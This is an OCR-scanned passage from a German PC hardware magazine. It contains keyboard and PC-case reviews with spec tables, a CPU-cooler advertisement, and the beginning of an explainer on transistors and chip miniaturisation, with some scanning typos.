Q Druckpunkt/Anschlag der mech. Tasten 
© Ausstattung (modularer Ziffernblock) 


Wertung: 1,50 


Sehr gut/Sehr gut 


Wertung: 1,57 


Gut bis sehr gut/gut bis seht gut 


© RGB-Beleuchtung (Effekt/Programmierung) © RGB-Beleuchtungsmodi per Taste/Software © Eigenschaften (Razer Mecha Membran) 
© Druckpunkt/Anschl. Cherry MX RGB Brown © Ergonomie/weiche Handballenablage 
@ Keine Handballenablage (Ergonomie) 


© Beleuchtungseinstellung nur per Synapse 


Wertung: 1,62 
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INFRASTRUKTUR | Marktübersicht Tastaturen 


Die Stàrken der Tastatur mit nur 
durchschnittlicher Ergonomie lie- 
gen beim Tippgefühl, das die takti- 
len Cherry-MX-Brown-Schalter lie- 
fern. Dazu kommt, dass diese, wie 
bei der Steelseries Apex M500, ein 
eher dumpfes Betätigungsgeräusch 
produzieren, da das Chassis und die 
Metallplatte zur Verstärkung der 
Platine wenig vibrieren. Für die Tas- 
ten der untersten Reihe (u. A. Leer- 
taste, strg und alt) gilt das nicht, 
hier ist bei starkem Druck deutlich 
ein „Ping“-Geräusch zu hören. 


Nanoxia Ncore Retro: Hingucker im 
Schreibmaschinen-Look mit guter 
Leistung. Trotz fehlender (RGB-)Be- 
leuchtung ist die Ncore Retro ein 
echter Hingucker. Das liegt daran, 
dass Nanoxia dem mechanischen 


Keyboard ein Retro-Design spen- 
diert, zu dem runde Tastenkappen, 
frei stehende Tastenschalter und 
vier grofse Standfüfse mit rutsch- 
fester Unterseite aus Gummi ge- 
hören. Ähnlich wie beim analogen 
Vorbild geben die weifsen Kailh- 
Schalter akustisches Feedback, 
das aus einem Klickgeräusch am 
Auslósepunkt sowie einem hohl 
klingenden Sound am Anschlags- 
punkt (Bottom out) besteht. Die 
Ausstattung der ohne Software 
nutzbaren Ncore Retro ist, vom 
Drehmechanismus an den hinteren 
Standfüfsen für die Hóhenverstel- 
lung abgesehen, wenig spektaku- 
lär. Eine Makrofunktion oder ein 
Profilspeicher fehlt und die insge- 
samt 12 Mail, Office- sowie Mul- 
timediafunktionen liegen nur als 


Doppelbelegung auf den F-Tasten. 
Die Fn-Umschalttaste kommt auch 
ins Spiel, wenn Sie zwischen GKRO 
und NKRO wechseln oder als Spie- 
ler die Funktion der WASD- mit der 
der Pfeiltasten austauschen wol- 
len. Zur Reinigung des spritzwas- 
sergeschützten Keyboards liefert 
Nanoxia noch ein Mikrofasertuch 
sowie einen Pinsel mit. 


In der Praxis stellten wir fest, dass 
das Klickgeräusch der Kailh White 
dezent ausfállt und auch das spe- 
zielle Anschlagsgeräusch nicht 
übermäßig stört. Dazu kommen 
der zweifach taktile Druckpunkt 
und die mit 50 bis 60 cN (g) relativ 
hohe Druckkraft, die vor allem für 
Schreibarbeiten ausgelegt ist. Die 
runden Tastenkappen mit ihren 


konkaven Oberflächen erfordern 
jedoch etwas Gewöhnung und die 
Tatsache dass das Haupttastenfeld, 
der Mittel- und Zehnerblock aber 
auch die einzelnen Tastenkappen 
sehr nah zusammenliegen, sorgt 
anfänglich für viele Fehlgriffe. (fs) 


Fazit Hardware 


Neue mechanische Tastaturen 

Asus lässt sich die gelungene Ausstat- 
tung der Claymore ROG gut bezahlen, 
die Roccat Suora FX punktet mit Licht- 
tricks und Extras für die teils keine Soft- 
ware nötig ist. Trotz ihrer Hybrid-Schalter 
ist Razers bunt beleuchtete, sehr ergono- 
mische Ornata Chroma ein Tipp für Spar- 
füchse. Nanoxias Ncore Retro ist mehr 
ein Designerstück als ein Schreibgerät. 


MECHANISCHE 
TASTATUREN 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


Apex M500 


Steelseries (https://de.steelseries.com) 


Hyper X Alloy Fps 


Kingston (www.sharkoon.com) 


Prime 13 


Das Keyboard (www.daskeyboard.com) 


Ncore Retro 
Nanoxia (http://nanoxia-world.com) 


Preis/Preis-Leistung 


Ca. € 120,- Euro/befriedigend bis gut 


Ca. € 120,- Euro/befriedigend 


Ca. € 150,- Euro/ausreichend 


Ca. € 100,- Euro/befriedigend bis gut 


PCGH-Preisvergleich www.pcgh.de/preis/1435427 


www.pcgh.de/preis/1528152 


www.pcgh.de/preis/1551894 


www.pcgh.de/preis/1546639 


Bauart/Anschluss Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 
Ausstattung (20 %) 2,93 2,72 2,90 3,15 

Kabellänge Ca. 200 cm Ca. 180 cm Ca. 200 cm Ca. 180 cm 
Handballenablage Nein Nein Nein Nein 


Beleuchtung/Feature- und Effektumfang/ 
Effekt per Taste abrufbar 


Ja, einfarbig (blau), 5 Helligkeitsstufen/ausrei- 
chend: nur ein Atmungseffekt in der Software 
wählbar/nein 


Ja, einfarbige Beleuchtung (rote, program- 
mierbare Einzeltastenbeleuchtung mit vier 
Helligkeitsstufen)/gut: sechs Modi + individu- 
eller Modus/ja 


Ja, einfarbig (blau), 6 Helligkeitsstufen/keine 
Leuchteffekte vorhanden/nicht vorhanden/nein 


Keine Beleuchtung 


Tastenanzahl 


105 Tasten 


105 Tasten 


05 Tasten 


105 Tasten 


USB-Ports/Soundanschlüsse 


ein/nein 


Nein (nur Strom, keine Daten)/nein 


a, 1 x USB 2.0/nein 


Nein/nein 


Extras 


Einfarbige Beleuchtung (Breath-Effekt), sechs 
ultimediatasten (Doppelbelegung F7 bis F12), 
akrofunktion mit Profilspeicher (Software), 
KRO, 1.000 Hz Polling-Rate, Kabelschächte 
unter der Tastatur 


Einfarbige, programmierbare Einzeltastene- 
euchtung mit sechs Effekten, sechs Multime- 
diatasten (Doppelbelegung F6 bis F11), Taste 
ür Gamer-Modus (Win-Taste ist gesperrt) , 
adeanschluss für Handys, NKRO, 1.000 Hz 
olling-Rate, abnehmbares Anschlusskabel, 
ragetasche, acht Tastenkappen mit Metallüber- 
zug, Betrieb ohne Software 


Einfarbige, weiße Beleuchtung, 6 Multimedia- 
tasten (Doppelbelegung F5 bis F11), Umschal- 
tung zwischen NKRO und 6KRO (Fn + F12), 
.000 Hz Polling-Rate, Werkzeug zum Abziehen 
der Tastenkappen 


Retro-Optik mit speziellen Tastenkappen, Spritz- 
wasserschutz, Sieben Multimedia- und fünf 
Sondertasten (Doppelbelegung F1 bis F12), 
auschfunktion für WASD- und Pfeiltasten, 
1.000 Hz Polling-Rate, Umschaltung zwischen 
NKRO und 6KRO (Fn + Druck), Pinsel und Tuch 
zur Reinigung, Abdeckung, Werkzeug zum 
Abziehen der Tastenkappen 


Hóhenverstellung 
Eigenschaften (20 %) 
Tastaturlayout/Übersichtlichkeit 


a 
172 
Full-Size (Standard MF/ISO)/sehr gut 


a 
171 
ull-Size (Standard MF/ISO)/sehr gut 


a 
2,13 
Full-Size (Standard MF/ISO)/sehr gut 


a 
1,98 
ull-Size (Standard MF/ISO)/gut bis sehr gut 


Tastenhóhe (Haupttasten) 


ormal 


Normal 


ormal 


Runde Tastenkappen mit mittlerer Hóhe 


Ergonomie/Rutschfestigkeit 


Befriedigend bis gut/sehr gut 


Gut/gut bis sehr gut 


Befriedigend bis gut/gut bis sehr gut 


Befriedigend/sehr gut 


Tastenanschlag/Druckpunkt 


Sehr gut/Sehr gut 


Sehr gut/Sehr gut 


Windowstasten a, per Taste deaktivierbar a, per Tastenkombination deaktivierbar a, aber nicht deaktivierbar а, per Doppelbelegung deaktivierbar 
Abmessungen (L x B x H) 44,0 x 13,6 x 5 cm/ca. 1.186 Gramm 44,2 x 12,9 x 3,6 cm/ca. 1.050 Gramm 45,8 x 17,2 x 3,1 cm/ca. 1.320 Gramm 46,5 x 15,0 x 6,9 cm /ca. 1.300 Gramm 
Leistung (60 %) 1,55 1,85 1,95 2,05 


Sehr gut/Sehr gut 


Sehr gut/Sehr gut 


Schalterart/Aktivierungsdruck 


Cherry MX Red (linear, 45 cN [g]; 2 mm 
Auslóse- und 2 mm Anschlagsweg, einfarbiges 
Schaltergehäuse) 


Cherry MX Blue (taktil: haptisch/akkustisch, 50 
160 cN [g], 2,2 mm Auslöse- und 2 mm An- 
schlagsweg, einfarbiges Schaltergehäuse) 


Cherry MX Brown (taktil, haptisch, 45/55 cN 
[g]; 2 mm Auslöse- und 2 mm Anschlagsweg, 
einfarbiges Schaltergehäuse) 


Kailh White (taktil ‚haptisch und akustisch, 50 
cN [g] #15 cN [g]; 2 mm Auslöse- und 2 mm 
Anschlagsweg, einfarbiges Schaltergehäuse) 


Key Rollover 


NKRO (USB-Port) 


NKRO (USB-Port) 


6KRO/NKRO (USB-Port) 


6KRO/NKRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Gut/umfrangreich 


Keine Software erforderlich 


Keine Software erforderlich 


Keine Software erforderlich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


Keine Beleuchtungsprogrammierung móglich/ 
nur Helligkeit per Taste und Breath-Effekt per 
Software wählbar 


Individuelles Beleuchtungsprofil ohne Software 
erstellbar/sechs Modi per Fn + Cursor links/ 
rechts ohne Software wählbar 


Keine Beleuchtungsprogrammierung möglich/ 
nur Helligkeit per Taste regelbar 


Keine Beleuchtung vorhanden 


Frei programmierbare Makros 


Ja (zeitverzögert, Abspielen nur mit Software) 


Nein 


Nein 


Nein 


Office-/Spieletauglichkeit 


Sehr gut/gut bis sehr gut 


FAZIT 


© Wertiges Tippgefühl/wenig Klappern 
© Rutschfest mit Hóhenverstellung 
© Keine Handballenablage/wenig Ausstattung 


Wertung: 1,86 
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Sehr gut/gut bis sehr gut 


© (Individuelle) Beleuchtung ohne Software 
© Druckpunkt/Anschlag der Cherry MX Blue 
© Keine Datenübertragung am USB-Port 


Wertung: 2,00 


Sehr gut/gut 


© Sehr gut verarbeitet 
© Druckpunkt/Anschlag der mech. Tasten 
© Magere Ausstattung/k. Handballenablage 


Wertung: 2,18 


Gut/gut 


© Design im Retro-Look 
© Druckpunkt/Anschlag/Lautheit der Tasten 
© Wenig Ausstattung/nicht ergonomisch 


Wertung: 2,26 
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Asymmetrischer Doppelturm-Kühler mit 
zwei 140-mm-Lüftern»und riesiger Kühlleistung 


/ 


ZZ 


LM 3 


A 


Prädestiniert für leistungsstarke Full-Size Gaming-PCs 
Ein Berg von einem CPU-Kühler. Das gottgleiche Olymp-Design, 
speziell entworfen für maximales Overclocking oder lautlosen 

Betrieb, gewährleistet elitäre Kühlleistung bei hoher Kompatibilität: 

> High-End-Kühlung bist 340 Watt TDP 

> Doppelturm-Design mit 165 mm Höhe 

› 2x 140mm Wing-Boost-2-PWM-Lüfter 

> 6 Heatpipes, starke 123.38 m?/h Airflow 


Caseking GmbH: Gaußstr. 1, 10589 Berlin eMail: info@caseking.de tel. bestellen: 030 52 68 473 00 www.caseking.de/olymp 


EE INFRASTRUKTUR | Test Be quiet Pure Base 600 


Flexibel, leise, günstig? 


Für preisbewusste Käufer kombiniert Be quiet beim 
Pure Base 600 die Flexibilität des Dark Base 900 
und die gute, leise Kühlung der Silent-Base-Reihe. 


it den beiden gedämmten Ge- kombinieren soll und preislich für 

häusen der Silent-Base-Reihe, Einsteiger attraktiv ist. Unser Test 
welche die Hardware im Inneren zeigt, ob dieses Vorhaben gelingt. 
leise und gut kühlen, gab der Netz- 
teil-und KühlungsspezialistBequiet Ausstattung: Durchschnitt- 
vor gut zwei Jahren einen gelunge- lich, aber nicht schlicht 
nen Einstand іп der Gehäusespar- Obwohl Be quiet seinem Einstei- 
te. Mit einer sehr guten Dämmung germodell den Namen Pure Base 
und Komponentenkühlung konnte 600 gibt, ist die Ausstattung kei- 
Mitte letzten Jahres auch Be quiets — nesfalls puristisch. Wie das Vorbild 
erstes Premiumgehäuse, das Dark Dark Base 900 verfügt auch das 
Base 900, überzeugen. Zusätzlich Pure Base über frei positionierbare 
punktete die Pro-Variante im Test — 3,5/2,5-Zoll-Kombi-Laufwerkshal- 
der Ausgabe 09/2016 mit einer sehr terungen, an deren Außenseiten 
guten Ausstattung und der vollen zusätzlich zwei 2,5-Zoll-SSDs/HDDs 
Flexibilität beim Hardware-Einbau angebracht werden können. Des 
(Wertungsnote: 1,24). Wer wollte, Weiteren lassen sich die drei Hal- 
konnte für den maximal möglichen terungen auch beim Pure Base 600 
Platz im Innenraum sorgen und sehr einfach entnehmen, indem 
alle Laufwerkshalterungen inklu- man die drei Rändelschrauben löst, 
sive des 5,25-Zoll-Laufwerkskäfigs mit denen die von Be quiet als Slot 
entfernen. Mit dem Pure Base 600 bezeichneten Halterungen auf der 
präsentiert Be quiet nun ein Ein- Rückseite des Mainboard-Trays 
steigermodell, welches die effektive befestigt sind. An letztgenannter 
Dämmung vorheriger Gehäuse mit Position befinden sich auch zwei 
der Flexibilität des Top-Produkts weitere demontierbare 2,5-Zoll- 


Be quiet Pure Base 600 


Die Ausstattung ist dem günstigen Preis angemessen; das Highlight ist klar 
die Flexibilität, die durch die vom Dark Base 900 geerbten, frei anbringbaren 
HDD/SSD-Slots und den demontierbaren 5,25-Zoll-Käfig erzielt wird. Die 
Kühleigenschaften sind gut (CPU: 68 °C, GPU: 70 °C) und dank Dämmung liegt 
die Lautheit bei in ruhiger Umgebung klar wahrnehmbaren 1,3/1,4 Sone. 


yam 
su 


in 


Auf der Rückseite des Mainboard-Trays Wie Be quiets Dark Base 900 ist auch 
findet man zwei demontierbare 2,5-Zoll- das gedämmte Pure Base 600 mit 
SSD/HDD-Halterungen. Die können nützlich Laufwerkshalterungen (3,5/2,5 und 2 x 
werden, wenn man den Inneraum für den 2,5 Zoll) ausgestattet, die sich, wie der 
Einbau von Radiatoren frei gemacht hat. 5,25-Zoll-Käfig, einfach ausbauen lassen. 
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SSD-Befestigungen. Wer besonders 
viel Platz benötigt, kann sogar, wie 
beim Dark Base 900, den 5,25-Zoll- 
Käfig ausbauen. 


Mit 51 Litern fällt das Innenraum- 
volumen des Pure Base 600 nicht 
gerade üppig aus, trotzdem ist aus- 
reichend Platz für die Bestückung 
mit Lüftern oder Radiatoren beim 
Einsatz einer Wasserkühlung vor- 
handen (siehe nächster Abschnitt). 
An die Front, welche durch eine 
Plastikabdeckung mit Alu-Look und 
seitlichen Lufteinlässen verdeckt 
wird, passen ein 140-mm- oder 
zwei 120-mm-Lüfter - beim Ausbau 
des 5,25-Zoll-Käfigs sind es sogar 
drei 120-mm-Propeller. An der Ge- 
häuseoberseite, deren Abdeckung 
sich stufenweise öffnen oder beim 
Einsatz einer Wasserkühlung ent- 
fernen lässt, ist Platz für drei 120- 
mm- oder zwei 140-mm-Lüfter. 
Der 120-mm-Heckpropeller, 
Be quiet Pure Wings 2, gehört ge- 
nauso zur Grundausstattung des 
Pure Base 600 wie der bereits an 
der Front montierte Pure Wings 
2 mit 140 mm Durchmesser. Zwei 
USB-3.0- und Audio-Anschlüsse am 
Front-Panel, eine dreistufige Lüfter- 
steuerung sowie ein Staubfilter für 
die Frontlüfter und das Netzteil am 
Boden gehören ebenfalls zu der so- 
liden, einem Preis von 80 Euro ent- 


ein 


sprechenden Ausstattung des ge- 
dämmten Be quiet Pure Base 600. 


Eigenschaften: viel Platz 
und flexibel wie das Vorbild 
Da sich Be quiet bei der Flexibili- 
tät im Innenaufbau des Pure Base 
600 stark am Premiummodell Dark 
Base 900 orientiert, lässt sich auch 
in der Einsteigervariante durch den 
Ausbau der frei im Innenraum an- 
bringbaren 3,5/2,5-Zoll-Kombi-Slots 
und des 5,25-Zoll-Laufwerkskäfigs 
eine Menge Platz schaffen. Somit 
eignet sich das Pure Base 600 auch 
sehr gut für den Einsatz einer Was- 
serkühlung. An der Oberseite lässt 
sich ein 120-mm- oder 240-mm-Wär- 
metauscher anbringen. Wird der 
5,25-Zoll-Käfig ausgebaut, beträgt 
die maximale Radiatorlänge sogar 
360 mm. Genauso lang darf auch 
der an das vordere Ende des gut 
und ohne Schnittkanten verarbei- 
teten Gehäuses montierte Radiator 
bei fehlender 5,25-Zoll-Laufwerk- 
Halterung ausfallen (alternative Ra- 
diatorlängen: 280 mm, 240 mm, 140 
mm, 120 mm). 
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Die flexible Innenraumgestaltung 
erleichtert auch generell den Ein- 
bau der Hardware. Während für 
die Beschränkung der (Turmküh- 
ler-)Höhe auf 16,5 Zentimeter die 
geringe Breite von nur 22 cm ver- 
antwortlich ist, profitieren Spieler 
mit langen Grafikkarten (maximale 
Länge: 42,5 cm) von der Möglich- 
keit, die Laufwerkshalterungen so 
im Gehäuse verteilen zu können, 
dass ihr(e) 3D-Beschleuniger prob- 
lemlos ins Pure Base 600 passen. Als 
Vorteil dabei erweisen sich die bei- 
den 2,5-Zoll-Laufwerkshalterungen 
auf der Rückseite des Mainboard- 
Trays. Wer einer 2,5-Zoll-HDD den 
Vorzug vor einem 3,5-Zoll-Modell 
als Datengrab gibt, der benötigt bei- 
spielsweise gar keine Laufwerksbe- 
festigungen im Innenraum. Trotz 
aller Flexibilität sind Käufer des 
Pure Base 600 auf Platinen mit 
Standard-ATX-Größe beschränkt. 
Extended-ATX- und XL-ATX-Varian- 
ten passen erwartungsgemäß nicht 
in den Midi-Tower. 


Leistung: gute und dank 
Dämmung leise Kühlung 
Neben der Flexibilität des Premi- 
ummodells soll das deutlich güns- 
tigere Pure Base 600 trotz verklei- 
nerten Innenraums auch über die 
guten Kühleigenschaften sowie die 
effektive Dämmung des Dark Base 
900 verfügen. Um zu überprüfen, 
wie es um die Kühlleistung und die 
Lautheit des gedämmten sowie aus 
Stahl und Kunststoff gefertigten 
Gehäuses bestellt ist, bestücken wir 
es mit unserem Testsystem (Spezifi- 
kationen siehe Testtabelle). 


Die Temperaturwerte, welche wir 
nach der Aufheizphase (1,5 Stun- 
den) bei unseren Mess-Tools (HW- 
info64 und MSI Afterburner) able- 
sen, zeigen, dass auch das Pure Base 
600 in der Lage ist, die CPU mit 
68 °C und die GPU mit 70 °C bei 
1.835 MHz Takt (Lüfterdrehzahl: 
2.070 U/min) gut zu kühlen. Wer- 
te von 52 °C für die M.2-SSD und 
eine Innenraumtemperatur von 
39,8 °C bestätigen die guten Kühl- 
eigenschaften. Zusätzlich zeigen 
unsere Lautheitsmessungen, dass 
Be quiet es auch beim Pure Base 
600 geschafft hat, eine effektive 
Dämmung zu entwickeln, denn es 
dringen nur 1,3/1,4 Sone aus dem 
Midi-Tower. Damit steht auch das 
Pure Base 600 in der Tradition der 
beiden Silent-Base-Modelle. (fs) 


Hersteller (Webseite) 


Preis/Preis-Leistungs-Verhältnis 
(getestete Version) 


SPAR-TIPP 


Be quiet 
Pure Base 600 


Hardıuare 


Gehäuse Pure Base 600 


Be quiet (www.bequiet.com/de) 


Link zum PCGH-Preisvergleich www.pcgh.de/preis/1559571 


Ca. € 80,-/gut 
(kein Seitenfenster, gedämmt) 


Version ohne Fenster/ohne Dämmung 


Ca. € 80,-/nicht vorhanden 


Ausstattung (20 %) 3,28 

Plätze für Laufwerke 2 x 5,25 Zoll, 3 x 3,5/2,5 Zoll, 8 x 2,5 Zoll 
Erweiterungs-Slots (Blende) Sieben 

Handbuch Sehr ausführlich 

Lüfterplátze Deckel: 2 x 140/3x 120 mm, Front: 2 x 140/3 x 120 mm, 


Heck: 1 x 140/120 mm, Seite: -, Boden: - 


Vorhandene Lüfter 


1 x 140 mm (Front), 1 x 120 mm (Heck) 


Frontanschlüsse 


2 x USB 3.0, Audio 


Besonderheiten 


Material (nicht gewertet) 


Dämmung enthalten, SSD-Montage auf der Rückseite 

der Mainboardhalterung, manuelles Lüftungssystem im 
Deckel, Lüftersteuerung, Staubschutz an Front und Boden, 
Luftschlitze im Heck 


Eigenschaften (20 %) 1,95 


Stahl und Kunststoff 


Verwindungssteifheit 


Gewicht (nicht gewertet) 8,7 kg 

Abmessungen (H x B x T)/Volumen 47,0 x 22,0 x 49,2 cm/50,9 Liter 
Platz für Grafikkarte/CPU-Kühler 42,5/16,5 cm 

Verarbeitung allgemein/Schnittkanten/ Gut/gut/gut 


Zusammenbau* 


Sehr gut; viel Platz trotz nur rund 51 Liter Innenraum, da 
nicht nur die 3,5/2,5-Zoll-Kombi-Laufwerkshalterungen 
entfernt werden kónnen, sondern bei Bedarf auch der 
5,25-Zoll-Laufwerkskäfig 


Besonderheiten beim Zusammenbau 


Festplattenkäfig herausnehmbar/Laufwerkshalterungen auf 
der Rückseite demontierbar, Aussparung hinter dem Sockel, 
Aussparung für Kabeldurchführungen, Kabelmanagement 
auf der Rückseite, mäßige Entkoppelung der HDDs 


Praxisprobleme 


Keine Probleme 


Kompatibilitätstest 


Temperatur CPU 


Extended- und XL-ATX passen nicht 


68 °С 


Temperatur GPU (Lüfterumdrehzahl/Takt) 


70 °C (2.071 U/min/1.835 MHz) 


Temperatur Innenraum Gehäuse/M.2-SSD 


39,8 *C/52 °C 


Lautheit der Lüfter, 50 cm Abstand frontal/ 
schrág vorne (45-Grad-Winkel) 


FAZIT 


1,3/1,4 Sone 


© Niedrige Lautheit dank Dämmung 
© Alle Laufwerkshalterungen können demontiert werden 


© Trotz Lüftersteuerung nur durchschnittliche Ausstattung 


Wertung: 2,18 


03/17 | PC Games Hardware 97 


*System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Thermalright AXP-100 (Q-Fan-Profil: Standard), Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 
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Bild: Globalfoundries 


|4. 


Hey, Junge! 
Gönn deinen Transistoren 
doch etwas mehr Platz. 
So ein Gequetsche hätte 
es zu meiner Zeit nicht 
gegeben. 


mit den Leckströmen. In 
meiner Generation trägt 


Keine Sorge, Opa! 
Ich komme schon klar 


man die Bauteile nun 
einmal eng. 


Die ewige Schrumpfkur 


Seit der Markteinführung des Mikroprozessors in den 1970er-Jahren haben unzählige Fertigungsopti- 


mierungen eine Leistungsexplosion ermöglicht. Wir werfen einen Blick auf die Hintergründe. 


ikroprozessoren sind integ- 
Mi: Schaltkreise, die alle 
Bausteine eines Prozessors in ei- 
nem Chipgehäuse beherbergen. 
Zur Verbindung mit der Außenwelt 
und zum Schutz des Dies, der alle 
Rechen- und Steuereinheiten bein- 
haltet, ist das Die meistens in ein 
größeres Chipgehäuse integriert. 


Der Transistor 

Möglich machte diese kompak- 
te Bauweise das Aufkommen der 
Transistoren in den 1950er-Jahren, 
welche schrittweise die Röhren in 
Großrechnern ersetzten, die seit 
dem Zweiten Weltkrieg gefertigt 
wurden. Die Baugröße von einzel- 
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nen Bestandteilen wie Registern 
und Recheneinheiten liefš sich im 
Verlauf der 1960er-Jahre so stark 
reduzieren, dass es schließlich 
möglich war, alle Bausteine eines 
Prozessors in ein kompaktes Chip- 
gehäuse zu packen. 


Transistoren sind elektronische Bau- 
teile, die zum Steuern von Spannun- 
gen und Strömen genutzt werden. 
Die ersten Patente gehen auf Julius 
Edgar Lilienfeld im Jahr 1925 zurück, 
die Bezeichnung Transistor prägte 
John R. Pierce Ende der 1940er, der 
bei Bell Labs ein Forschungsteam 
leitete, das schließlich den ersten 
Transistor realisierte. Für Mikropro- 


zessoren werden Feldeffekttransis- 
toren (FETs) verwendet, bei denen 
im Gegensatz zu Bipolartransistoren 
nur ein Ladungstyp am elektrischen 
Stromfluss beteiligt ist. Transistoren 
gelten als das in der höchsten Stück- 
zahl produzierte Bauteil der Mensch- 
heitsgeschichte. Die grundsätzliche 
Funktionsweise erläutern wir im 
Extrakasten auf der folgenden Seite. 


Die Fertigungsgrundlage 

Alle Mikroprozessoren werden aus 
Wafern gewonnen. Dabei handelt 
es sich um weniger als 1 Millimeter 
dünne Scheiben, die meistens aus 
dem  Halbleitermaterial Silizium 
bestehen. Sie werden aus über 1 


Meter hohen Zylindern mit einem 
Durchmesser von 30 cm herausge- 
sägt. Silizium wird aus verschiede- 
nen Gründen den meisten anderen 
Halbleitern gegenüber bevorzugt: 
In seiner Oxidform, etwa Sand, 
kommt es sehr häufig vor und ist 
dementsprechend ein preiswertes 
Ausgangsmaterial. Silizium ist au- 
fserdem ungiftig und geht chemisch 
stabilere Verbindungen ein als die 
Alternativen. Kristallines Silizium 
lässt sich durch gezielte Oxidation 
in Siliziumdioxid verwandeln, das 
als Isolator den Stromfluss hemmt. 
Andererseits lässt sich Silizium 
hinsichtlich der Leitfähigkeit ge- 
zielt durch Dotieren manipulieren: 
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Dotierung: Ein Verfahren, um Materialeigenschaften zu verändern 


Durch Dotieren wird oft die Leit- 
fähigkeit eines Stoffes angepasst. 


Das geschieht über die Einbringung 
kleinster Mengen von Fremdatomen. 
Beispiel: Siliziumatome verfügen über 
vier Valenzelektronen. Bei einer N-Do- 
tierung wird ein Fremdatom mit fünf 
Valenzelektronen eingebracht, sodass 
ein ungebundenes Elektron vorliegt. 
Bei der P-Dotierung entsteht hingegen 
ein positiv geladenes Loch, da das 
eingefügte Atom nur drei Valenzelek- 
tronen aufweist. 


5-wertige Elemente liefern als Dona- 
toren ein freies Elektron, 3-wertige 
Elemente nehmen als Akzeptoren 
ein Elektron eines angrenzenden 
Atoms auf - siehe Darstellung oben. 


Miniaturisierung 

Der früher in Mikrometern, heute 
in Nanometern angegebene Tech- 
nologieknoten bezieht sich auf den 
sogennanten Half-Pitch bei Spei- 
cherzellen. Als Pitch wird die Breite 
der Leiterbahn zuzüglich der Isolati- 
onsschicht zur nächstliegenden Lei- 
terbahn bezeichnet. Der Half-Pitch 
ist dabei als der geringste halbe Ab- 
stand zwischen zwei Leiterbahnen 
in einer Speicherzelle definiert. Der 
Half-Pitch-Wert beschreibt damit 
nicht zwangsläufig die kleinsten 
Strukturen, die mit einem bestimm- 
ten Fertigungsverfahren möglich 
sind. Im Rahmen des 45-nm-Tech- 
nologieknotens lassen sich bei- 
spielsweise auch Transistoren mit 
einer Gate-Größe von weniger als 
30 Nanometern fertigen. 


Kleinere Strukturen bieten eine 
Reihe von Vorteilen, zu den wich- 
tigsten zählt die steigende Schaltge- 
schwindigkeit bei einer geringeren 
Betriebsspannung, was sich direkt 
auf die Energieeffizienz auswirkt. 
Kleinere Strukturen ermöglichen 
es dank einer höheren Packdichte 
der Transistoren außerdem, immer 
komplexer aufgebaute Mikropro- 
zessoren zu realisieren. Die Integra- 
tion von mehreren Megabyte Cache 
ist beispielsweise erst aufgrund 
fortgeschrittener Fertigungstech- 
nik und einem dadurch stark erhöh- 
ten Transistor-Budget möglich. 


Doch kleinere Strukturen bringen 
auch Nachteile mit sich: Die An- 


www.pcgameshardware.de 


Undotiertes 
Siliziumgitter 


N-Dotierung 
(z. B. mit Phosphor) 


P-Dotierung 
(z. B. mit Aluminium) 


fälligkeit gegenüber ionisierender 
Strahlung, etwa hochenergetische 
Teilchenstrahlung, die von der Son- 
ne und anderen astronomischen 
Objekten ausgeht, ist erhöht. Für 
die Raumfahrt werden deswegen 
üblicherweise strahlungsgehärtete 
Mikroprozessoren verwendet, die 
auf bewährten, eigentlich veralte- 
ten Technologieknoten basieren. 
Kleinere Strukturgrößen begüns- 
tigen außerdem Elektromigration. 
Darunter versteht man einen Ma- 
terialtransport durch losgelöste, 
geladene Teilchen innerhalb, bezie- 
hungsweise entlang von Leiterbah- 
nen, der bei geringer Ausprägung 
die elektrischen Eigenschaften 
verschlechtern und bei starker Aus- 
prägung einen Totalausfall bewir- 
ken kann. Neben der Absenkung 
der Stromdichte (durch die Wahl 
einer niedrigen Betriebsspannung) 
können die Hersteller den Vorgang 
beispielsweise durch die Nutzung 
besserer Materialien (etwa Kupfer 
statt Aluminium) und Layout-Opti- 
mierungen bremsen. 


Der Startschuss 

Im Jahr 1971 erblicken gleich zwei 
bedeutende Produkte das Licht 
der Welt: Das erst 1968 gegründe- 
te Unternehmen Intel bringt mit 
dem 4004 einen 4-Bit-Prozessor 
auf den Markt, der als erster in Se- 
rie gefertigter und frei erhältlicher 
Mikroprozessor gilt. Der im Auftrag 
für die japanische Firma Busicom 
Corp. entwickelte Prozessor ver- 
fügt über 2.300 Transistoren und 
weist eine Strukturbreite von 10 
Mikrometern auf. Im gleichen Jahr 
patentiert Texas Instruments den 
Mikrocontroller TMS1000, der mit 
8.000 Transistoren und zusätzli- 
chen Komponenten wie ROM, RAM 


Wie ein Transistor Strom leitet 


Transistoren funktionieren wie Schalter: Liegt ein schwacher Strom an 
(Mitte, Gate), kann ein stärkerer Strom von der Quelle (Source, links) 
zur Ableitung fließen (Drain, rechts). Hier dargestellt ist ein in CPUs 
verwendeter Feldeffekttransistor. 


Source Gate Drain 


Der oben dargestellte Transistor ist ein Metalloxid-Halbleiter-Feldeffekttransistor. 
Dieser kann in zwei Arten realisiert werden: Entweder der Kanal befördert positive 
(p-dotiert) oder negative Ladungen (n-dotiert). Bei p-dotierten Transistoren wur- 
den entweder zusätzliche positive Ladungsträger in das Substrat (im Bild oben die 
graue Fläche unten) eingefügt oder dem Material wurden Elektronen entzogen, 
wodurch sogenannte Löcher entstehen. 


Im , Normalzustand" fließt in unserem Beispieltransistor kein Strom; denken Sie 
sich den blauen Kanal in der Mitte einfach weg oder — wenn es ganz genau sein 
soll — stellen Sie sich diesen als Dreieck vor, das auf der einen Seite so dünn ist, 
dass dort keine Elektronen durchwandern können. 


Liegt nun eine Spannung am Gate an, werden unterhalb des (hier orangefarben 
dargestellten) Isolators Elektronen angezogen (das Gate lásst sich je nach Aus- 
führung mit positiver oder negativer Spannung betreiben). Der Kanal entsteht und 
ist negativ geladen; er wirkt wie eine Brücke und erlaubt den Stromfluss zwischen 
Source und Drain. Wäre die Gate-Spannung negativ, würde sie die Elektronen im 
Kanalbereich abstoBen und den Stromfluss in diesem Falle unterbinden. 


Das Isolatormaterial bestand früher aus einem Metalloxid, üblicherweise Silizium- 
dioxid. Daher nennt man die Transistoren auch , Metal Insulator Semiconductor 
